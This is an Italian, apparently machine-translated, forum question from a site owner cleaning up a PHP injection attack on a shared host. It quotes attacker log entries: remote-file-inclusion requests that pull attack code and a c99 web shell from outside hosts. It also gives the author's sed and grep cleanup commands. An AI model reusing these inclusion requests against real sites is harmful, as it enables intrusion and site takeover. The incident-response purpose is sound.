Una volta ogni tanto il mio ambiente di hosting condiviso viene compromesso perché, beh, non sono riuscita a mantenere aggiornato il portfolio delle app installate. La scorsa settimana, è stato a causa di un'installazione vecchia e inutilizzata di un'applicazione PHP chiamata Help Center Live. Il risultato è stato che ogni singolo file PHP sul server (e ho diverse Wordpresses, Joomlas, installazioni SilverStripe) aveva il codice aggiunto che estraeva i link cloaked da altri siti e li includeva nella mia pagina. Altre persone segnalano i loro siti bannati da Google dopo questo tipo di attacco - per fortuna mi sembra di averlo preso abbastanza presto. L'ho notato solo quando eseguivo il browswing su uno dei siti dal mio telefono: la pagina conteneva i collegamenti sul browser Mobile.PHP Injection Attack - come ripulire il casino?
ho trovato molti tentativi di attacco come questo nel registro:
62.149.18.193 - - [06/Feb/2009: 14: 52: 45 +0000] "GET /support/module.php ? module = HelpCenter // include/main.php? config [search_disp] = true & include_dir = http://www.portlandonnuri.com/ 2008_web // technote7/dati/foto/ id2.txt ??? HTTP/1.1" 200 26 " - "" libwww-perl/5.814 "
Ho rimosso immediatamente questa appli cation e ha scritto uno script che rimuoveva il codice PHP offendente da ogni file sorgente. Ho anche scoperto che lo script aveva creato file HTML contenenti collegamenti per altri siti infetti da includere. Li ho anche rimossi. Ora sono preoccupato che l'autore dell'attacco possa aver lasciato qualcos'altro che ho perso - un file PHP da qualche parte che gli darà accesso permanente. Le date del file sono state tutte modificate nell'attacco e non sono riuscito a trovare altri file che sono stati modificati durante il tempo in questione. C'è qualcosa di ovvio che ho perso, al fine di assicurarmi che non ci siano backdoor sul mio server?
Modifica: cerco anche file di testo contenenti codice di attacco, come quello mostrato nel frammento del file di registro sopra. Non ho trovato nessuno.
Un'altra modifica: Se vi capita di imbattervi in questo post perché vi trovate nella stessa situazione, forse questo vi aiuterà. Ho usato questo metodo per eseguire il backup di tutti i miei file sorgente PHP prima di manipolare loro:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
e questo per annullare le modifiche che l'attaccante aveva fatto:
find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
Non la scienza del razzo, ma non banale né per l'utente occasionale di Linux/Unix come me :-).
Un'altra modifica: Non riesco a controllare ogni riga di codice sul server, ma posso cercare dati sospetti. Ho cercato tutte le occorrenze di "eval" e "base64" e non ho trovato nulla che non fosse legittimo. Ho quindi eseguito un grep per ".ru" (dal momento che i perpetratori sembrano venire da lì) e, ecco, ho trovato qualcosa chiamato shell di c99, che ho rimosso rapidamente.
Modifica finale: Ho scoperto come è stata caricata la shell c99, attraverso un buco nella galleria fotografica di Coppermine.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"
L'indirizzo IP, btw, è un IP ospitato da Godaddy.
La cosa bella di tenere un backup SVN è che si può facilmente individuare ciò che è cambiato e in quali file. – bart
+1: questo consente anche di sviluppare facilmente all'esterno dell'ambiente di produzione – kdgregory